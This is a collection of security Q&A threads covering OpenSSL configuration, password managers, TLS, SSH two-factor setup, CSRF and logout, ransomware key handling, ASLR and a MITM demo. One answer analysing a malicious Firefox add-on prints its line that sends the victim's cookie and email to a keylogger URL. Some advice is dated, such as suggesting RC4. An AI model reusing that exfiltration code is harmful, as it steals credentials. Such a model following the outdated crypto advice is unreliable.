Default values for distinguished_name Creating certificate:

openssl req -new -newkey rsa:2048 -keyout private/cakey.pem -out careq.pem -config ./openssl.cnf

I have value that tells openssl not prompt for req_distinguished_name  fields:

[ req ]
prompt = no

If I use value "no" I get error:

problems making Certificate Request
1995860064:error:0D07A097:asn1 encoding routines:ASN1_mbstring_ncopy:string too long:a_mbstr.c:158:maxsize=2

I suppose I need to fill all default values in configuration file. But what is missing?

Fragment of openssl.cnf:

[ req ]
prompt = no
default_bits            = 2048
#default_keyfile         = privkey.pem
distinguished_name      = req_distinguished_name # where to get DN for reqs
attributes              = req_attributes         # req attributes
x509_extensions     = v3_ca  # The extentions to add to self signed certs
req_extensions      = v3_req # The extensions to add to req's

string_mask = nombstr

[ req_distinguished_name ]
countryName                     = Country Name (2 letter code)
countryName_default             = US
countryName_min                 = 2
countryName_max                 = 2

stateOrProvinceName             = State or Province Name (full name)
stateOrProvinceName_default     = California

localityName                    = Locality Name (eg, city)
localityName_default            = Hawthorne

0.organizationName              = Organization Name (eg, company)
0.organizationName_default      = PhilNet

organizationalUnitName          = Organizational Unit Name (eg, section)
organizationalUnitName_default  = UN

commonName                      = Common Name (eg, YOUR name)
commonName_default              = CN
commonName_max                  = 64

emailAddress_default            = aaa@bbb.cc
emailAddress                    = Email Address
emailAddress_max

.... ASN1_mbstring_ncopy:string too long:a_mbstr.c:158:maxsize=2
                          ^^^^^^^^^^^^^^^               ^^^^^^^^^

It is not about missing values but about an invalid value

When reading the documentation you'll see that using prompt=no changes the interpretation of the values in the config:

  prompt
  if set to the value no this disables prompting of certificate fields and just takes values from the config file directly. It also changes the expected format of the distinguished_name and attributes sections.

This means that it will not take your countryName_default field to fill in the value but it will actually take the countryName field directly. But this field has the value Country Name (2 letter code) which is clearly larger than the maxsize.

See also OpenSSL Config error when generating self-signed certificate string too long.


Safe storage for multiple passwords for multiple accounts I've had this difficulty for a while, and I hope to get some feedback or referral to the sites where this problem may be discussed.
Nowadays all of us have multiple accounts, both personal and work-related (logins to websites or applications at work, logins to personal computers and mobile devices, etc.). I personally have more than 50 different accounts. In addition, some of those resources require changing the password every month or so, and some of them require that the next password does not have the same combination of symbols as the previous one and that it has both capital letters and numbers and other symbols, well, you know...
How do you come up with so many different passwords that have different combinations of symbols and how do you remember all of them?
I feel that it is incorrect to record work-related passwords on personal mobile devices or in cloud storage. It is also prohibited by company policies. I also prefer not to record the passwords to the sites where I can manage personal finances or taxes.
Next, some passwords may be restored using the email that was used for registration. Some passwords may be restored using the phone number that was used for registration. How do you manage that? Do you record or memorize the correspondence between the emails and the sites/resources, and also logins? Do you use separate emails for money-related issues?
Are there any interesting articles on the topic? What is the correct way of working with this much complexity/is there a know how? Was there an idea that the creators of this system had in mind? How all this can be secure if we end up recording all these passwords?

Password managers are the accepted and recommended solution to this problem:
NCSC (UK):
https://www.ncsc.gov.uk/blog-post/what-does-ncsc-think-password-managers
CERT (US):
https://us-cert.cisa.gov/ncas/tips/ST04-002
ENISA (EU):
https://www.enisa.europa.eu/news/enisa-news/tips-for-secure-user-authentication
NISC (Japan):
https://www.nisc.go.jp/security-site/campaign/files/aj-sec/handbook-all_eng.pdf
NIST (Standards body):
https://pages.nist.gov/800-63-3/sp800-63b.html
And password managers have been the recommendation of the experts here since the site began 10 years ago.
Here's a list of password managers to get you started. This type of software has been around for about 20 years.
Features:

Software may be online and synced between devices, or off-line and only stored locally
Some are open-source (so experts can review the program code for problems)
All software encrypts the data to prevent password disclosure in case the device it is on is stolen or accessed without authorisation
Most (all?) includes note-taking functionality to include extra info, like secret questions, etc.
Most (all?) will generate random passwords for you
All software is tested to some extent by security researchers trying to find weaknesses. The more popular the program is, the more attention it gets from researchers hoping to make the news with a finding.

In practice, you do not need to put 100% of your passwords in one password manager. It can make sense to break up your work passwords and personal passwords into different software and use the software that has the features you need for your work environment. Some work environments provide a commercial password manager to all staff for work passwords. Others have a commercial password manager for IT departments to remember all the passwords for the thousands of systems they administer.
In reality, even a password manager with weaknesses is more secure than trying to generate your own passwords and remember them. A long, random password is the most secure, and your brain can't generate or remember those.
Writing them down is another option to consider, but that suffers from a lack of encryption and a lack of backup.


Auto encrypt chunks of content for backup, best practice? I'm just curious and it's more like a mind game, I'm not into cryptography.

How would one encrypt data that's constantly generated? Put the data automaticly into chunks encrypt the chunk and send it to a backup server which would store it. My first idea was to encrypt the first chunk with a user input like a password, and then store the hash somewhere, then the next chunk would be encrypted by the hash and i would store just the next one.

So I could decrypt the chunks after that by just applying one password on the beginning and then auto decrypt by the hashes. So where are the pitfalls?

How would a specialist do it? It needs to be a autonomous algorithm, how secure could it get?

[EDIT]
Let's assume I want to store personal data:

Name: Bob
Job: Developer
Birthday: 12/12/12

I don't know this data before, but when the system is working it generates somehow this data, now i'll put like 5 persons into one chunk and want to backup it on to like 5 server around the world :). Without a user providing for each chunk a password. And obviously I can't store the password on the server and encrypt every chunk with it.

[EDIT2] And maybe backup is the wrong thing, let's assume we store the encrypted data somewhere and forget them on the server which was generating them.
I would be, as I wrote, also interested in the pitfalls on my approach, if there are some? I know that a filesystem could work like this that every hash i would store could be recovered, but if I would store it just in the RAM?

It depends on the 'level' you're working at - are you dealing with data generated by an application you're implementing, or securing data being generated by some other bit of software? The suggested approach is going to be a little different.

For data generated by software you don't control:
(Such as logfiles, etc.)See if you can leverage the underlying filesystem, your SAN, or similar - in Windows this can be achieved by creating a user to run whatever task is generating the data, logging in as them and setting the output folder to 'encrypted'. You'll need this user to run your backup, but most backup applications will allow you to write out as encrypted data, so you'll have your data encrypted at rest, as it's generated, then decrypted and re-encrypted when you run your backup (but with a key that you can put in your DR plan).

For data generated in software you control that you want to encrypt:
If you're talking about implementing something yourself (i.e. have this happen in an application you're developing), have a look at any of the well understoond stream ciphers, such as RC4 (though RC4 is famously tricky to keep secure, it is well understood - Trivium or the like may be a better choice, bit you may need to hunt a bit to find a library for your language of choice). Stream cipers are designed to work with data of an unkown or unknowable length, which sounds like the sort of problem you're describing.


Is 'correct' TLS Configuration dependant mainly on the Server? Here is a link to a screen grab of SSL Configuration Checker by GlobalSign for my domain: SSL Configuration Checker: http://i.imgur.com/CbVjVee.png.
Following recent discussions with the host, they concluded:

To achieve "A" rating,we will need to enable "Forward Secrecy" and for
that we need Apache 2.4.X. The current Apache web server installed on
the dedicated server is :
Server version: Apache/2.2.24 (Unix).

The certificate is free with the hosting.
But, it occurred to me that this free status might be irrelevant if it's Server Configurations that determines if TLS tests pass with an 'A'.
Question:
Is it the Server that primarily determines optimum TLS configuration as far as ssllabs.com SSL Checkers and such like are concerned?
If so, then:
Is it right to conclude that no matter what grade of TLS one purchases (e.g. Basic SSL through to expensive EV SSL Certificates) if the Server is not configured so according to recognizable standards such as disabling SSL 3.0, and enabling TLS 1.2 (Apache version permitting), the TLS will never reach A, A-, OR A+ when tested?
Considering the impact that Apache version has on 'Forward Secrecy', would this issue still be true even with an EV SSL Certificate?
UPDATE:
Link: SSL/TLS Deployment Best Practices
Steps taken to resolve (achieve acceptable Grade):
With the TLS v1.2 protocol, updated OpenSSL and recompiled Apache: Apache/2.2.29 mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 mod_fcgid/2.3.9
After that, adjusted the ciphers anew.
Patched the server for the Poodle vulnerability by disabling the SSL v3 protocol.

The server and the client are both important.   SSLLabs.com has a client test, as well as a server test.

There are more details in the How does SSL/TLS work? question, but quite simply, the in the SSL handshake, the client is the first to send the version of TLS it supports and ciphersuites it prefers, and then the server selects the highest version it can support and the ciphersuite to use.

So, yes, server configuration is extremely important, but you can see that client configuration is critical too.   Not only do you want to ensure that your client is capable of accepting (and prefers) TLS configurations that offer strong protection, but also that you disable weak versions and ciphersuites so that an attacker can't forcibly downgrade you to use insecure options for your SSL/TLS connections.


Two-factor authentication with ssh key authentication and yubikey? OpenSSH won't invoke PAM at all if public key (RSA)
authentication is configured and the client presents a valid key.
So if you use key-based auth, you can't enforce 2FA easily.

One workaround for this limitation involves writing a helper
program that will prompt for a Yubikey OTP. This helper program
is arranged to be executed by sshd after the user
successfully authenticates using the ForceCommand directive. Example: https://www.berrange.com/posts/2011/12/18/multi-factor-ssh-authentication-using-yubikey-and-ssh-public-keys-together/

Since I don't trust my knowledge of shell programming
(handling signals, tty allocation etc) to review the helper
program, so I kept looking for something different.

What are the holes in the following alternative approach?

Configure yubikey to do 2FA for ssh password-based auth.
Every login, 'X', will have a "bastion" login called 'pre-X'.
Both logins will exist on the same machine
One sshd instance
Using the Match sshd configuration directive, the ssh server will be
configured to disallow public-key authentication for all logins
that match the pattern 'pre-*'.
The 'bastion' login will be created with no home directory,
login shell set to /bin/false, gid set to 'nogroup' and anything
else can we can do to make it as weak as possible. For good
measure, use the ForceCommand ssh directive for these logins to
always execute /bin/false and use ChrootDirectory to sandbox it.
Use the AllowUsers directive to disallow logins other than bastion ones from
logging in from any IP except localhost.
Use ProxyCommand at the ssh client end to script away the
tunneling via the bastion login.

I have done this and it works well, but I'm wondering if I missed something?

Bastion users are created like this:

# password will never be typed in, so need to record it
sudo useradd -M -N -g nogroup -s /bin/false pre-user001 -p $(dd if=/dev/urandom bs=128 count=1 2>/dev/null  | base64 -w0)

sshd_config looks like this:

# Nobody can login from anywhere except localhost
AllowUsers *@localhost
# ... except for logins starting with 0
AllowUsers pre-*@*

# force password auth for bastion logins
Match User pre-*
PasswordAuthentication yes
RSAAuthentication no
PubkeyAuthentication no
ForceCommand /bin/false

As of 2015 (with OpenSSH >= 6.2), your assumption that sshd won't invoke PAM in combination with public key authentication doesn't hold anymore.

With OpenSSH 6.2 you can enforce a second factor or even multiple factors for authentication in addition to public key authentication.

The AuthenticationMethods directive can be used to specify multiple factors on a global or user specific level in the sshd_config, for example:

  AuthenticationMethods publickey,keyboard-interactive

keyboard-interactive triggers the PAM chain where e.g. a OTP pam module can be configured for sshd.


How securely use Firefox Add-on to prevent steal data? Some videos on YouTube demonstrate how a Firefox extension can collect login information used to login to websites such as Facebook.

After installing this tool/malware as Firefox Add-on, I observed the activity of my browser using Firebug. My username and password was sent to a server via Ajax request.

I contacted the author. He said that he can embed this script to any Firefox Add-on.

How can I securely use Firefox Add-ons? I installed 3 types of Antivirus and Firewall. But none of that was able to detect this malware.

How do you protect yourself

Firefox addons from the official site are put through the addon review proces https://addons.mozilla.org/en-US/developers/docs/policies/reviews

So you can check if an addon is official and has been reviewed before installing.

It's not 100% You can find a list of blocked addons removed by Mozilla due to given reasons (viruses, trojans, etc.) https://addons.mozilla.org/en-US/firefox/blocked/

Installing an addon from a 3rd party is more dangerous, so you may need to personally check the source code (which is possible since it's a zip of javascript files) or trust the author/provider.

How does the maleware work?

The .xul file contains the following line of code:

xhr.open("GET",
      "http://www.removedurl.com/keylogger/snooper.php?
       facebook="+cookie+'&email='+email, true);

So when you test this script on your own account it will be sending him the your password. For this reason you should delete this addon and change your password.


Why does the result of ssh-keyscan -H contain a header line with the un-hashed server ID? I'm attempting to build a global known_hosts file for my AWS VPC, and was looking at using ssh-keyscan to acquire the fingerprints of new servers as they are created.  The -H option seems sensible, as it means you

  do not reveal identifying information should the file's contents be disclosed

Strangely though, the output of that command comes with a helpful header:

# 1.2.3.4 SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.4

... which seems to rather defeat the point doesn't it?  Obviously I can strip that bit out very easily, but having asked for hashing, I'd expect the output to contain only hashed data.  Is there some logical reason for this, or is it a bug?

Is there some logical reason for this, or is it a bug?

It's not a bug, it is a feature. The line with the comment is written to stderr unlike the host keys, therefore it is no problem if you do

ssh-keyscan -H -t rsa host > /your/known_hosts

The list of hosts will go to your terminal and not into the file.

Example:

ssh-keyscan -H -t rsa host 2> /dev/null

will show you only the hashed keys and no "comments" with hostnames.


Does running SSL offer any protection if the webpage is only served to localhost? I deal with a server that is designated as a management server for other systems.  It has a local web server that supplies a management console for a product we use.  The management console has been setup to run through SSL.

Firewalls have blocked off access to the management console for all external systems.  There is no way to eavesdrop as the network traffic is not being routed anywhere.

I would assume if an attacker had access to network card directly he/she would see both sides of the conversation anyways.

Is there any advantage of running SSL in this scenario?

If the data never leave the system there is probably no advantage of using SSL to protect the transmitted data. But I see other problems with your approach:

  It has a local web server that supplies a management console for a product we use

This suggests that you access the management console with a web browser on the local system. Unless there is some way to restrict the browser to only this host you have to be very careful about attacks like CSRF, which can be triggered if you visit other sites with the same browser. This is a typical attack vector for web based management consoles and you would be surprised how many routers or even firewalls are vulnerable against this kind of attack.

And even with this restriction unwanted management actions might be triggered from visiting logs or other files on your management console, unless you were very careful with escaping user input to defeat attacks using script injection or HTML injections (like XSS).

Also it is probably easy to access the console from remote by explicitly doing port forwarding (using putty or similar products). This is commonly used to remote control systems even if the vendor itself explicitly made sure that remote access is not possible in the default setup for security reasons. It is done because this kind of restriction is often more seen as an annoyance and the risk is ignored.

  Firewalls have blocked off access to the management console for all external systems.

If this protection is only done by firewalls then you should check the design again. Usually it is better to have the server only running at an IP address which can not be reached from outside by design, e.g. localhost (127.0.0.1). In this case  a firewall would not be needed to restrict access and there is one thing less which can go wrong.


How to calculate combined false acceptance/rejection rates of multiple biometrics authentication systems? I am a taking a network security class at grad school, and I need a little help with my assignment question. I am trying to think this through, and just want to know whether my approach is right or wrong.

Question:

  To deal with false acceptance and false rejection, multiple biometrics authentication
  schemes can be combined to authenticate a user. Consider the combination where the user
  is authenticated as long as a user passes one of the biometric tests: Retina Scan, Finger
  print or Voice Recognition. Suppose the false acceptance rates of retina scan, ngerprint and
  voice recognition are f a1, f a2, and f a3. And their false rejection rates are fr1, fr2, and fr3
  respectively. Assuming the above false acceptance and false rejection rates are independent,
  what are the false acceptance rate and the false rejection rate of the above combined scheme?

When I read the question - I immediately thought that the users (legit or not, but specially non-legit since we're talking about false acceptance) would start using the one method that would let them in most easily. So the false acceptance rate of the combined scheme would be max(fa1, fa2, fa3). Likewise, I thought legit users would not want to be rejected therefore they would use the one method that has the least amount of rejection, hence I think the combined false rejection rate of the system will be min(fr1, fr2, fr3).

If I am not onto something here, and missing something completely, please direct me to what I should read/study so I get on to the correct path.

Since the rates of each device are independent of each other, and the user is authenticated when any one of the devices authenticates the user, we have the following information:

A user is rejected if and only if all three devices reject him (him is used throughout to represent him or her), therefore, the combined rejection rate becomes:

FR = fr1 * fr2 * fr3

So we know that introducing more biometrics systems lower the overall false rejection rate.

Now, to calculate the rate that any one of these produces a false accept:

FA = 1 - Niether 1, nor 2, nor 3 produce fa
   = 1 - [(1 - fa1)(1 - fa2)(1 - fa3)]
   = 1 - [(1 - fa1 - fa2 + fa1fa2)(1 - fa3)]
   = 1 - (1 - fa1 - fa2 + fa1fa2 - fa3 + fa1fa3 + fa2fa3 - fa1fa2fa3)
   = 1 - 1 + fa1 + fa2 + fa3 - fa1fa2 - fa2fa3 - fa3fa1 + fa1fa2fa3
   = fa1 + fa2 + fa3 - fa1fa2 - fa2fa3 - fa3fa1 + fa1fa2fa3


Is Privileged Access Management secured without regular Patch Update? It is well know Privileged Access Management (PAM) is a solution that helps organizations restrict privileged access within an existing Active Directory environment.
Many big company use it to address their Privileged Access.
The issue is PAM solution system normally advice customer not to Patch their Operating System because it will some sort impact their system.
Is this secured?

PAM solution system normally advice customer not to Patch their Operating System

This does not sound correct and I would suggest calling out the PAM vendor and looking into their competitors. I've never heard of a PAM vendor telling their customer they should avoid patching the OS. Sounds like a poor PAM vendor or a miscommunication


How to conduct this MITM attack For educational purposes, I want to conduct a demo for a Man In The Middle attack. The attack scenario is:

1) The client request aaa.com
2) The MITM changes the client request to bbb.com
3) The client get response for bbb.com

Notes:
1) bbb.com is not owned by the attacker. It is just another website

2) I know that with normal user can identify and detect that the new website is bbb.com if the user can see different URL or different interface. But this is off topic. I still need to do this scenario.

How to coduct this attack? What are the tools? Please, I do not need general statements like (MITM redirect traffic, DNS spoofing, etc.). I need a guide on how to implement it including the required tools or SW.

The hard way of doing this is by implementing a PROXy. You may create just a socket to which you will connect and then create a socket to the destination server. You analyze the traffic of HTTP header and if it requests aaa.html you change request to the bbb.html or different domain.

The more sophisticated way of doing that would be for example using libpcap. You just listen on the interfaces and pass them or redirect them. The same thing you may accomplish with the firewall. All depends on the scenario you have.

But in general you want to have something like:

      --------        ----------------------------------          --------
-----| client |----> | your interface/process/something |------->|server|
      --------        ----------------------------------         -------

Please remember that you may get encrypted traffic. In that scenario, you need somehow to generate a trusted cert. In most cases, you have to somehow install your own CA in the client.

If you are controlling DNS server you also may just return different records to the different clients.

Those this answare your question?


Securing a LAN without Physical Security I've got an interesting dilemma. I have a large (50+ users) office that is going to be on the campus of a local university. The purpose is to foster collaboration, etc, but the open environment is going to play merry hell with my network security.

Basically, I have physical security on my demark/server room, and that's it. Worse, all the computers will have WAN access, so the security issues aren't limited to the local office, but to the entire (huge) company.

I'm tightening things up as much as possible. All machines are bound by MAC, the WAN access is restricted as far as it can be, etc, and I'm doing a few tricksy things, like doing automated OS/hardware probes to watch for MAC cloning.

Still, I'm a bit worried. Lack of physical security is freaking me out. What would you guys recommend?

Does your hardware support vlans and port security?  Just run those machines on a different vlan.  Then have Access control lists to control access to the WAN.  Assuming your switches are physically secure that alone should be secure enough for most applications.  Seeing as you already have a list of mac address's to be allowed you could set up port blocking as well.

I don't usually agree with using mac addresses as a form of authentication.  It is a lot of work for something that is so easily bypassed.  It best it might deter someone from hooking up a stray laptop to the network but a half dedicated attacker could get by it in seconds.

Setting up an encrypted VPN would give an extra leyer of security if you think it is worth the extra work. A VPN is probably way less work than dealing with MAC addresses.


Are "VPN" and "Certificate Pinning" serving different purposes for a private mobile app? I have a mobile application (ioS) which only certain users are allowed to use, and its coded in such a way that they could only login using secured VPN (with tokens) in order to access our internal network servers for data retrieval.

My auditor request that, according to good practices, all mobile apps development should try to incorporate certificate pinning.

I would like to challenge that argument: using VPN with multi-factor is, in my opinion, sufficient because both are methods of authentication and enables us to know who is really using the app. My mobile app is not an internet-based app and the database server which the app will retrieve data from is hosted internally.

Are VPNs and certificate pinning serving different purposes or they are approximately equivalent in this scenario?

here are several scenarios to think about.

A) User loses mobile device. The pinned certificate only protects the phone so much as the built in password.
     1) user loses device to malicious internal party. Without an iOS password, 3rd party breaks into network with that users NT/LDAP credentials
     2) user loses device to external party. Strong password secures lost device

B) User loses mobile device. The VPN cannot be used by anyone else, because the token is still attached to the user.
     1) VPN token is lost with device: token is revoked by administrator
     2) Token is retained: token is bound to another device

C) Bound by fingerprint authentication in iOS.
     1) The pinned certificate would continue working as expected
     2) The VPN token serves as another layer of protection
       -------------
C2 would serve well for Government and where absolute security required
C1 would use in Banking, Finance, Health
B2 is in Education, Research, Manufacturing
B1 and above are worst-case scenarios. Plan to not have them.


Difference between FIPS 196 and SSL for authentication? I want to know the difference between FIPS 196 (public key for authentication) and SSL for authentication. If we claim FIPS 196, which is the core of most authentication protocols in use (e.g. SSL) is it ok?

And if we use SSL for authentication between client and server can we claim implementation FIPS 196?

FIPS 196 introduces two-step authentication based on Digital Signatures.

Authentication using SSL uses FIPS 140-2.


How do I track IPs my computer is accessing? Month or two my Mac OS machine in ~5% cases goes aviasales.ru instead of imgur.com links that I click. The history in newly opened tab has only the current Aviasales URL, and the link I click looks fine and goes to Imgur, when I click again. I turned off all unreliable Chrome /extensions and see no new /plugins. Greping the extensions directory also didn't show me anything about "avia".

The only thread I've found on this is https://forums.malwarebytes.org/index.php?/topic/161783-home-network-hijacked-popupredirect-on-multiple-devices/page-2 where malware was probably in the router. I've checked settings -- DNS is set to default, so if it's in router, it odes not show up so easily. And my neighbour, using the same network via Windows 7, says he doesn't have my issue.

So the next thing I want to try to find the buster is to track hosts, that my browser accesses -- maybe it will show up at the moment before going the Aviasales website. How do I do it? Tcpdump? I want to get the list looking somehow like:

[timestamp]: IP
[timestamp]: IP
[timestamp]: IP

To track outbound connections from your system, likely the best approach would be to use software like Little Snitch for Mac OSX or Glasswire for Windows which can log these connections and also alert/block as needed.


Mobile API Authentication I'm trying to design an Android Analytic service where every user's application who register in this service needs to download our SDK. The SDK itself need to communicate with our API server. The point where I ran into the problem, is that I don't know how to implement a proper way of authentication for each application in order to be able to communicate with our API server.

I have already generate a unique API key for each user's application, but I don't know how to handle the authentication process, since if we assume the API key as the only factor of authentication it can be easily stolen by the hacker.

In the other hand, I read that JWT would be the best case, but whats difference by sending the API-Keys and getting the Access-Token where again both of them can be easily stolen? now should I use OAuth 2.0 or something else?

Any ideas would be appreciated...

JWTs can be expired. (They should be on a regular basis, or based on certain user actions). Then a new JWT can be issued. But ultimately, if the JWT is stolen and not yet expired, you've been compromised. At the end of the day, if you're going to maintain state, the client needs to hold on to something, session cookie, jwt, whatever...

I would recommend you implement a way to expire and re-administer API keys. Here's an answer with a great summary of best practices. How to implement an API-Key-Mechanism


Ransomware encryption keys Where does ransomware such as the recent wannacry variant store the key it uses to encrypt the files on the victim's disk?

Is this hard coded in the program itself? Or does it call into a server to obtain a key? If either of these are the case, the application could be reverse engineered or traffic sniffed to obtain the key and decrypt the files, so why is this not the case?  Or does the virus generate a key per infection?

All ransomware implementations are different, but for the most part, the particularly stupid variants that did things like use a hard-coded key, or used easily guessable or reproducible key generation methods have been weeded out and replaced by much stronger variants.

For wannacry specifically, each infection creates a new RSA keypair on the machine being infected.  The private key from this pair is then encrypted with a public key shipped in the malware, which is part of a keypair owned by the wannacry author.

The new, infection specific public key is then used to encrypt the AES keys, which are generated using a CSPRNG, and a new AES key is generated for each file encrypted.

Presumably once you pay the ransom, the malware authors will then use their private key (the other half of the keypair to the public key hard-coded into the malware) to decrypt your private key, which the decryptor tool can then use to decrypt the AES keys, and in turn the files.


Do we need to logout of webapps? A quick Google search doesn't reveal whether it is important to logout of webapps (online banking, Amazon, Facebook, etc.), or if I am safe just closing the tab or browser. I am sure I heard on some TV show that it's best to logout...

What possible threats am I exposing myself to if I don't properly log out?

This is not a trivial, simplistic question. There are several different aspects you need to consider, and several different mechanisms and countermeasures that apply to several different threats in several different scenarios that are affected by several different clients. Let's examine these one at a time. (There will be a TL;DR at the end...)

If you're using a Public computer: LOG OUT.
Any service you keep an account on should not be left logged in on a publicly accessible machine.
If you're using a Trivial unsensitive service: STAY LOGGED IN.
This applies only to throw-away, temporary accounts, such as for Internet radio, where giving away access is nothing more than a nuisance.
If you're using Public Wifi: LOG OUT.
Since the network is inherently untrusted, there is one big obvious THREAT: Session cookie theft. It is possible that your session was hijacked, and someone - either someone else on the network, or the hotspot itself - stole your session cookie. Of course, if this was the case, you wouldn't know, but then you may not be able to really log out either (if it is a malicious network or MITM, they have control of your entire connection - they might simply drop your logout request).

That said, 3rd party theft of just your session cookie IS a valid threat (e.g. FireSheep), and explicit logging out prevents unlimited use. (Basically the damage may have been done already, but this stops it from continuing.)

Even better would be to go to a trusted network, login, and explicitly log back out, just in case the MITM blocked your logout. Better yet is to change your password on the trusted site... But best to never access a non-trivial, sensitive site from an untrusted network.
If you're using All-day applications: STAY LOGGED IN.
For services you use all day and want quick/easy access to, e.g. Facebook, email, etc - IF this is your own private (or work) computer on a trusted network, it is a sensible trade-off to leave your browser logged in long-term.

THREAT: Malicious bystander

Lock your computer any time you step away, even to get a cup of coffee. Or lock your office, if you have a physical door that noone else can get through. (Or have a home office, wheee!) Periodically log out and back in. Monitor any posts "you" make.

THREAT: Other sites can register that you are logged in (e.g. to show you that important "Like" icon from Facebook). This is part of the trade-off that applies, while there are wider implications that are out of scope for this answer.
If you are using Any application that uses HTTP Basic Authentication (e.g. many routers): LOG OUT, AND CLOSE ALL BROWSER WINDOWS. Here is where it gets interesting, and this applies to the next section too.

When you log in to a webapp using Basic AuthN, the browser caches your password, and sends it on every request. The browser's BasicAuth mechanism has no concept of session. Even if you repeatedly logout, the webapp does not - neither serverside nor clientside - have any way of "killing" the session. The only way to clear those cached credentials, is to kill the browser process.

HOWEVER. Your choice of browser matters for this concept of "browser process". E.g.:

Firefox: Always a single process, no matter how many tabs and windows you open.
Chrome: Each tab is a separate process. However, there is another, "global", parent process. All the tab processes are child processes of this one (aka "job process" in Windows parlance), and they all share process memory through the parent. This is also true if you open a new window. So while Chrome's ample use of child processes with shared parent make its tabs particularly lively and robust, the downside is sharing process state. In other words, the only way to remove cached BasicAuth credentials from Chrome is to close all Chrome windows, every last one. Closing the tab alone will not help.
IE: tab/process model is identical (or similar) to Chrome... with one exception. By default, IE also opens all tabs in a child of the parent process. (Actually, this is not 100% accurate - some tabs share a child process with other tabs - but this doesnt matter in reality). However, if you add "-NoFrameMerging" to the IE commandline, it will create a completely new IE parent process. The difference here is that you can e.g. create a new parent window just to login to your router, and then close just that window when you are done. This clears your BasicAuth cache, without touching any other open IE windows. (Side note: it is actually possible to do this with Chrome too! It is a lot more involved, though, and requires you to create another browser profile on your machine.)

If you are using Sensitive applications, e.g. banking apps - ALWAYS EXPLICITLY LOG OUT, AND CLOSE ALL BROWSER WINDOWS. This part is a little more complicated, but a lot of the dependencies were already covered above.

THREAT: Malicious bystander Locking your computer, as above, would make sense, however there is no need for the trade-off from before. Just log out.

Session Timeout: In addition, most sensitive (e.g. banking) apps should implement some form of automatic idle timeout, so if you go out for the afternoon your session will automatically die at some point. This might not help with this threat, since the malicious bystander may just hop on your computer if you step out for 4 1/2 minutes to refill your coffee.

THREAT: Session cookie theft

Hopefully, sensitive apps are actively preventing this, with e.g. HTTPS, IDS, geo/fraud detection, etc. That said, it still makes sense to close that "window of opportunity", just in case - defense in depth, and all that.

Session Timeout: As before, most sensitive (e.g. banking) apps should implement some form of automatic idle timeout, and will help minimize this threat too. However, even if you do know for a fact that this app does implement idle timeouts correctly, there is still a window of opportunity for the attacker. That said, in a relatively-secure app this is not much of a threat.

THREAT: Cross Site Request Forgery (CSRF)

This is the one you need to worry about.

Say you are logged in to your bank. In the same window, in a different tab, you are browsing some dubious website. While viewing this website, it might be surreptitiously testing various well-known banksites, to see if you happen to be logged in to one of them. If you are, it will mount the CSRF attack (not all bank sites are vulnerable to this, but many still are). CSRF'd!

Okay. Now say you are smarter than that other guy, and dont browse suspicious sites the same time your banksite is open. So, after you finish on your bank, you carefully close the tab. Only then do you open a new tab to browse to the dodgy site. Well, problem is, you are still logged in, and will be for a while (typically around 30 minutes, but it could be as little as 10 or as much as an hour...). CSRF'd!.

(Note that the session timeout here does help, by shortening the window of opportunity, but there is still a chance of this happening within the window).

Hmm. Well, I know, let's open a new browser window! Use that for bank work, then again CLOSE the tab, and again open a new one for the malware sites I like to play with. Whoops, see the above section on Basic Authentication - your choice of browser matters.

Unless you're using "incognito/private browsing", or the "-NoFrameMerging" flag for IE, you are still in the same process family, and this still-open session will be shared between all your windows, at least until the server hits the idle timeout. Assuming it hasn't already been co-opted. CSRF'd!

Okay, one more, just one. I read this overly long post somewhere, about how I always need to logout from my sensitive apps - so I do just that, before popping on to my criminal sites. Unfortunately, the application "forgot" to do a proper logout, it just redirects me out of the application (or erases my cookie, or...) instead of invalidating it on the server... CSRF'd!

So, TL;DR?

  If you care about your account on this site: LOG OUT.
  If you care about your account, and it uses Basic Authentication: LOG OUT AND CLOSE ALL BROWSER TABS AND WINDOWS.
  If you don't care about your account - it doesn't matter what you do, so stop asking :-).

P.S. I did not cover things like Flash cookies, non-http sessions, and Integrated Windows Authentication. Enough is enough.


securely storing password in a file I am working on making a log file for a small application. If an error occurs in the application then I have to send a mail to a person. I've figured out the code to send a mail to a person, but I don't want to hard code the password as a string. Instead I want to encrypt it and then de-crypt it in my python code. alternatively is it okay to store the email and password in a csv file and read it from the file.  How safe is this? Can someone guide me how this can be done. Any example or documentation is welcome.

You have a bit of a chicken and the egg problem. On one hand you need to store the password on the other hand you don't want it to be readable by just anyone. The problem is that you will either rely on an algorithm or another secret key stored somewhere on your system to obfuscate and de-obfuscate your password. This is security through obscurity and will only make it a little bit harder for an attacker to guess the used password.

If you plan on distributing your application, this is not the way to go and you should re-think your strategy (for instance displaying the error to the user and requesting him to email it for you instead).

If you are running the application as a single instance my advice is to just leave the password as is and ensure that the file permissions are set so that only the user as which the script is run can read the file containing the password.


Importance of ASLR Mode 2 From what I understand, ASLR has 3 Modes:

0 - turned off
1 - randomizes stack, heap, shared libraries, vDSO, mmap memory area and text area (if built with -fPIE -pie)
2 - additionally randomizes brk()-allocated memory, which comes, to my understanding, mostly from small malloc()-calls.

Why is there an extra mode especially for brk()-allocated memory (if this is really all it does) and how important is it or rather when is it important to use Mode 2 of ASLR instead of Mode 1?

There has to be a specific way of randomizing brk() as well, as there are some heap implementations other than glibc's default (ptmalloc) that might not rely on brk(), leaving direct use of brk() unprotected to predictable address space if only va_randomize_space = 1 is used.

This is also important because attackers could craft shellcodes using direct SYS_brk system calls to map memory with a predicted address space to work on.

A quick look into the Linux kernel source code suggests setting ASLR to mode 2 does only just that: randomizes the start of the dynamic memory mapping address space:

https://github.com/torvalds/linux/blob/master/fs/binfmt_elf.c#L1110-L1123

<!-- language: lang-c -->

    if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
        /*
         * For architectures with ELF randomization, when executing
         * a loader directly (i.e. no interpreter listed in ELF
         * headers), move the brk area out of the mmap region
         * (since it grows up, and may collide early with the stack
         * growing down), and into the unused ELF_ET_DYN_BASE region.
         */
        if (IS_ENABLED(CONFIG_ARCH_HAS_ELF_RANDOMIZE) &&
            elf_ex->e_type == ET_DYN && !interpreter) {
            mm->brk = mm->start_brk = ELF_ET_DYN_BASE;
        }

        mm->brk = mm->start_brk = arch_randomize_brk(mm);
#ifdef compat_brk_randomized
        current->brk_randomized = 1;
#endif
    }

https://github.com/torvalds/linux/blob/master/mm/mmap.c#L212-L213

<!-- language: lang-c -->

    if (current->brk_randomized)
        min_brk = mm->start_brk;


Hiding and faking my location? I read this:

Reveal the True IP of a User

